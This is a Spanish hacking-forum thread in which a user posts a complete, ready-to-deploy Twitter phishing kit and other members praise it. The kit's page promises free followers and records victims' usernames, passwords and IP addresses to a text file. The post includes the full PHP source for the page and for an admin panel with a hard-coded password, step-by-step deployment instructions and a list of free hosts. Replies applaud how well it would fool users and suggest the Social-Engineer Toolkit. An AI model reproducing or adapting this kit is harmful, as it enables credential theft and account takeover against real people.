[Phishing] Página de phishing para Twitter

Iniciado por bernatixer, Enero 01, 2016, 11:57:36 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 01, 2016, 11:57:36 AM Ultima modificación: Enero 02, 2016, 09:20:58 AM por Bernatixer

Buenas soy bernatixer, hasta el día de hoy underc0de y sus usuarios me han proporcionado mucha información y herramientas, así que hoy decido aportar mi granito de arena a la comunidad.

Se trata de una página de phishing para twitter. La web pretende añadir seguidores (bots) a tu cuenta de twitter, y como todos sabemos cuando alguien con pocos conocimientos busca algo gratis (que normalmente es de pago) se descarga todo e introduce sus datos donde sea por tal de lograrlo. Así que en este caso nos vamos a aprovechar de esto.

Funcionamiento:
El usuario (víctima) entra en la web, introduce sus datos (usuario y contraseña :D) el número de seguidores que quiere (para hacerlo más real a partir de 1000 seguidores tendrá que pagar...) le da a un botón y que mala suerte! Ha ocurrido un error al añadir los seguidores a su cuenta.
Estos datos se guardaran en un archivo TXT, así que en ningún momento se va a necesitar MySQL, SQLite, o cualquier otro.
Y para terminar, hay un panel de admin de todas las víctimas, su usuario, contraseña y IP, todo automatico. (La contraseña default del panel de admin es 'b3rn4t1x3r').

Información técnica:
La web esta programada con Bootstrap para hacerla responsive, limpia etc... No se necesita descargar ningún archivo CSS ni JS, están todos alojados en un CDN y minificados, así que se aumenta el tiempo de respuesta. En resumen, todo esto es para que la víctima vea que la web esta algo trabajada y confíe mas en nosotros.

Si quieres provar la web, la he subido a mi servidor (Las IPs no se muestran en esta versión)
[Porvafor si quereis hacer phishing no paseis este link, seguid el tutorial de abajo]
Phishing: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Citar
Panel: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Citar

Tutorial:
La web es muy fácil de editar, pero si no dominais mucho aquí van unas pequeñas explicaciones.
Teniendo en cuenta que el HTML es senzillo de entender voy a pasar directamente al PHP y si teneis alguna duda simplemente comentadla.
Lo que hace falta saber de PHP en el archivo 'index.php' es que si quereis cambiar el archivo de logs (Por defecto: datos.txt) teneis que canviar la variable [$fichero = "datos.txt";]
Del archivo 'admin.php' solo hace falta saber cambiar la pass, está en la línea 35. Nada mas, es algo senzillo en los dos casos.

No teneis servidor para hacer pruebas o subir la web? Os dejo una lista de hostings gratis:
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

IMPORTANTE: Recordad crear el archivo 'datos.txt', ya que sino no funcionara correctamente.
index.php

Código: php

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Twitter - Bots</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
    <style>
    body {
      height:100%;
      width:100%;
      background-image: url("http://www.imperial.ac.uk/imedia/general_graphics/interact/images/twitterBG.jpg");
      background-repeat: no-repeat;
      background-size:cover;
    }
    .centrar {
      min-height: 100vh;
      display: flex;
      align-items: center;
    }
    </style>
  </head>
  <body>
  <?php
  if (isset($_POST["usuario"]) && isset($_POST["pass"])) {
    $fichero = "datos.txt";
    $usuario = htmlentities(str_replace("<:>","",$_POST["usuario"]));
    $pass = htmlentities(str_replace("<:>","",$_POST["pass"]));
    $ip = $_SERVER['REMOTE_ADDR'];
    $text = $usuario."<:>".$pass."<:>".$ip;
    $nuevo = file_get_contents($fichero);
    $nuevo .= $text."\n";
    file_put_contents($fichero, $nuevo);
    $m = "<div class='alert alert-danger' role='alert'>Error 225; No se han podido añadir los seguidores en tu cuenta.</div>";
  }else{
    $m = "";
  }
  ?>
  <div class="container centrar">
    <div class="row">
      <div class="col-md-12">
        <div class="alert alert-info">
          <h1><b>SEGUIDORES EN TWITTER GRATIS</b></h1><hr/>
          <form method="POST" action="#">
            <?php echo $m; ?>
            <input name="usuario" type="text" class="form-control" placeholder="Nombre de usuario"><br/>
            <input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
            <select class="form-control">
              <option>10 seguidores (GRATIS)</option>
              <option>50 seguidores (GRATIS)</option>
              <option>100 seguidores (GRATIS)</option>
              <option>1000 seguidores (GRATIS)</option>
              <option>5000 seguidores (10€)</option>
              <option>10000 seguidores (50€)</option>
            </select><br/>
            <button class="btn btn-success btn-lg btn-block" type="submit">Añadir seguidores</button>
          </form>
        </div>
      </div>
    </div>
  </div>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
  </body>
</html>


admin.php

Código: php

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Twitter - Bots</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
    <style>
    body {
      height:100%;
      width:100%;
      background-image: url("https://mal.sec.gd/images/bgSlider/img01.png");
      background-repeat: no-repeat;
      background-size:cover;
    }
    .espacio {
      margin-top: 5vh;
    }
    </style>
  </head>
  <body>
  <div class="container espacio">
  <div class="alert alert-danger">
    <?php
if (!isset($_POST["pass"])) {
    ?>
    <form method="POST" action="#">
      <input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
      <button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
    </form>
    <?php
    exit;
} else {
if ($_POST["pass"] != "b3rn4t1x3r") {
  ?>
  <div class='alert alert-warning' role='alert'>Contraseña incorrecta</div>
  <form method="POST" action="#">
    <input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
    <button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
  </form>
  <?php
} else {
?>
    <div class="text-right"><a class="btn btn-danger" href="">Salir</a></div>
    <h2>Datos de los usuarios</h2><hr/>
    <table class="table table-striped">
      <thead>
        <tr>
          <th>Usuario</th>
          <th>Contraseña</th>
          <th>IP</th>
        </tr>
      </thead>
      <tbody>
        <?php
        $fichero = fopen('datos.txt','r');
        while ($linea = fgets($fichero)) {
          $array = explode('<:>', trim($linea));
          echo "<tr>";
          echo "<th><font color='green'>". $array[0] ."</font></th>";
          echo "<th><font color='green'>". $array[1] ."</font></th>";
          echo "<th><font color='green'>". $array[2] ."</font></th>";
          echo "</tr>";
        }
        fclose($fichero);
        ?>
      </tbody>
    </table>
  </div>
  <?php
}
}
  ?>
  </div>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
  </body>
</html>
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno!

Ya te lo he dicho por skype, pero recalco por aqui tambien. Ese código tiene XSS :D
Si puedes arreglarlo sería genial.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno bro!
Respecto a lo que dice @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, te dejo un link de un taller de XSS que hicimos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ahi aparecen dos formas de fixear el XSS

Saludos!
ANTRAX


Gracias por avisar de la vulnerabilidad, ya esta solucionado  ;)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por avisar de la vulnerabilidad, ya esta solucionado  ;)

Gran trabajo bro! Muy buen aporte!
Te dejare +c0in


Excelente fake, realmente sencillo y eficaz, seguro que más de uno picaría  ::)  ;D
Y gran trabajo corrigiendo ese XSS!!

Saludos

Fuck, probé el xss antes de leer los comentarios y obviamente no saltó jajajaja.

Buen trabajo @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, estoy seguro que caerían muchos usuarios con este tipo de métodos.

Saludos.



Buenas, tal vez sobre este comentario,si es asi disculpen,  pero conocen setoolkit ?
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenas, tal vez sobre este comentario,si es asi disculpen,  pero conocen setoolkit ?
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si es cierto, se podría usar SET. Hace un tiempo dejé un paper en el foro sobre eso

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
ANTRAX